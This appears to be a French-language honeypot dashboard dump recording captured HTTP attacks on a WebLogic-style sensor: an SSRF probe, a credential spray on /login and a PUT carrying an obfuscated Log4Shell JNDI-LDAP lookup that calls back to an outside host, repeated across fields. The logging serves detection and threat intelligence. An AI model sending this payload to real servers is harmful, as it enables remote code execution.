"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (4 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9002,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9002,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:9002 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "9002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9002"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 4,
"multi_protocol_sample": [
"elasticsearch",
"http",
"weblogic",
"winrm"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 24,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:33:16 UTC
TCP
7001 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:7001 · (sonde / probe) · → /login
Élevée
Élevé · 71
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 71
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:7001
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:7001 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Type: application/json Content-Length: 1572 {"username"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 1817,
"payload_entropy": 5.104694641952067,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 71,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "0ceacea00c9a7a9dd9c85a8d7a1c077ccfaf03d1",
"event_fingerprint": "635b50f2c33eccca0e1bf07c4cda72bf0cfa6c6d",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "b44ed3c3e634324e6351e93fa7b10e19",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 71
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1572\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1572\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "be8395ef42068062abc9001071ce266add237b94",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (4 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 71,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 4,
"multi_protocol_sample": [
"elasticsearch",
"http",
"weblogic",
"winrm"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"http_ssti",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:33:16 UTC
TCP
7001 · HTTP
Sonde port 7001/TCP
port 7001 tcp · via HTTP:7001 · (sonde / probe) · → /${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}…
Élevée
Moyen · 62
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
PUT /${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
PUT
/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-/}${begd:la4:-/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k:-c}${xfpu:lnw:--}${${4x0h:qzci:-s}${to6:-y}${no:b8p2:14:-s}${ije:8ayb:-:}${h:be5:-j}${5ven:og0:jpr5:-a}${mf:dn:-v}${aef:ji:h:-a}${bf:ci5k:f:-.}${kuho:-v}${y:-e}${u8:15o8:d7:-r}${31z:pe7:-s}${u:j:v7r4:-i}${hx:v:-o}${i17:-n}}${k5sg:crd:-.}${3l:ft6:oip:-b}${8h6:7:9:-d}${130:k4pq:p:-6}${3he:i6:bi:-a}${digu:z:aj:-6}${xd
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
7001
Chemin / cible
/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-/}${begd:la4:-/}${18:-P}${r12…
Preuve honeypot — Sonde port 7001/TCP
Connexion détectée sur le port 7001 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_7001_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 62
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
PUT /${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-/}${begd:la4:-/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k:-c}${xfpu:lnw:--}${${4x0h:qzci:-s}${to6:-y}${no:b8p2:14:-s}${ije:8ayb:-:}${h:be5:-j}${5ven:og0:jpr5:-a}${mf:dn:-v}${aef:ji:h:-a}${bf:ci5k:f:-.}${kuho:-v}${y:-e}${u8:15o8:d7:-r}${31z:pe7:-s}${u:j:v7r4:-i}${hx:v:-o}${i17:-n}}${k5sg:crd:-.}${3l:ft6:oip:-b}${8h6:7:9:-d}${130:k4pq:p:-6}${3he:i6:bi:-a}${digu:z:aj:-6}
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:
Requête brute (extrait)
PUT /${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-/}${begd:la4:-/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k:-c}${xfpu:lnw:--}${${4x0h:qzci:-s}${to6:-y}${no:b8p2:14:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${h6q:-g}${mchv:-o}${cs:-o}${td:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "79e1c13037967974b3c293c3dd7937fccd194a63",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.847516284988293,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.6,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 62,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "5f0e004b1f02aa6caac45d60ee8a61e14216c05a",
"event_fingerprint": "0b73ec2ad55cb49ead24095adac7f2d1fc7bc597",
"classification_reason": "Type \u00ab port_7001_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 62,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "bd918be34e88a0de1f8d628bc3867121",
"path_pattern_hash": "fe795f21c03be60563c5f0fa77134544"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 62
},
"method": "PUT",
"path": "\/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-\/}${begd:la4:-\/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k:-c}${xfpu:lnw:--}${${4x0h:qzci:-s}${to6:-y}${no:b8p2:14:-s}${ije:8ayb:-:}${h:be5:-j}${5ven:og0:jpr5:-a}${mf:dn:-v}${aef:ji:h:-a}${bf:ci5k:f:-.}${kuho:-v}${y:-e}${u8:15o8:d7:-r}${31z:pe7:-s}${u:j:v7r4:-i}${hx:v:-o}${i17:-n}}${k5sg:crd:-.}${3l:ft6:oip:-b}${8h6:7:9:-d}${130:k4pq:p:-6}${3he:i6:bi:-a}${digu:z:aj:-6}${xd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-\/}${begd:la4:-\/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k:-c}${xfpu:lnw:--}${${4x0h:qzci:-s}${to6:-y}${no:b8p2:14:-s}${ije:8ayb:-:}${h:be5:-j}${5ven:og0:jpr5:-a}${mf:dn:-v}${aef:ji:h:-a}${bf:ci5k:f:-.}${kuho:-v}${y:-e}${u8:15o8:d7:-r}${31z:pe7:-s}${u:j:v7r4:-i}${hx:v:-o}${i17:-n}}${k5sg:crd:-.}${3l:ft6:oip:-b}${8h6:7:9:-d}${130:k4pq:p:-6}${3he:i6:bi:-a}${digu:z:aj:-6}",
"payload_snippet": "PUT \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:",
"evidence": {
"method": "PUT",
"path": "\/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-\/}${begd:la4:-\/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k:-c}${xfpu:lnw:--}${${4x0h:qzci:-s}${to6:-y}${no:b8p2:14:-s}${ije:8ayb:-:}${h:be5:-j}${5ven:og0:jpr5:-a}${mf:dn:-v}${aef:ji:h:-a}${bf:ci5k:f:-.}${kuho:-v}${y:-e}${u8:15o8:d7:-r}${31z:pe7:-s}${u:j:v7r4:-i}${hx:v:-o}${i17:-n}}${k5sg:crd:-.}${3l:ft6:oip:-b}${8h6:7:9:-d}${130:k4pq:p:-6}${3he:i6:bi:-a}${digu:z:aj:-6}${xd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-\/}${begd:la4:-\/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k:-c}${xfpu:lnw:--}${${4x0h:qzci:-s}${to6:-y}${no:b8p2:14:-s}${ije:8ayb:-:}${h:be5:-j}${5ven:og0:jpr5:-a}${mf:dn:-v}${aef:ji:h:-a}${bf:ci5k:f:-.}${kuho:-v}${y:-e}${u8:15o8:d7:-r}${31z:pe7:-s}${u:j:v7r4:-i}${hx:v:-o}${i17:-n}}${k5sg:crd:-.}${3l:ft6:oip:-b}${8h6:7:9:-d}${130:k4pq:p:-6}${3he:i6:bi:-a}${digu:z:aj:-6}",
"request_sample": "PUT \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-\/}${begd:la4:-\/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k:-c}${xfpu:lnw:--}${${4x0h:qzci:-s}${to6:-y}${no:b8p2:14:",
"payload_snippet": "PUT \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:",
"classification_reason": "Type \u00ab port_7001_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8ea01147f4b5632be17a429327e03707c13e631a",
"protocol_details": {
"http_method": "PUT",
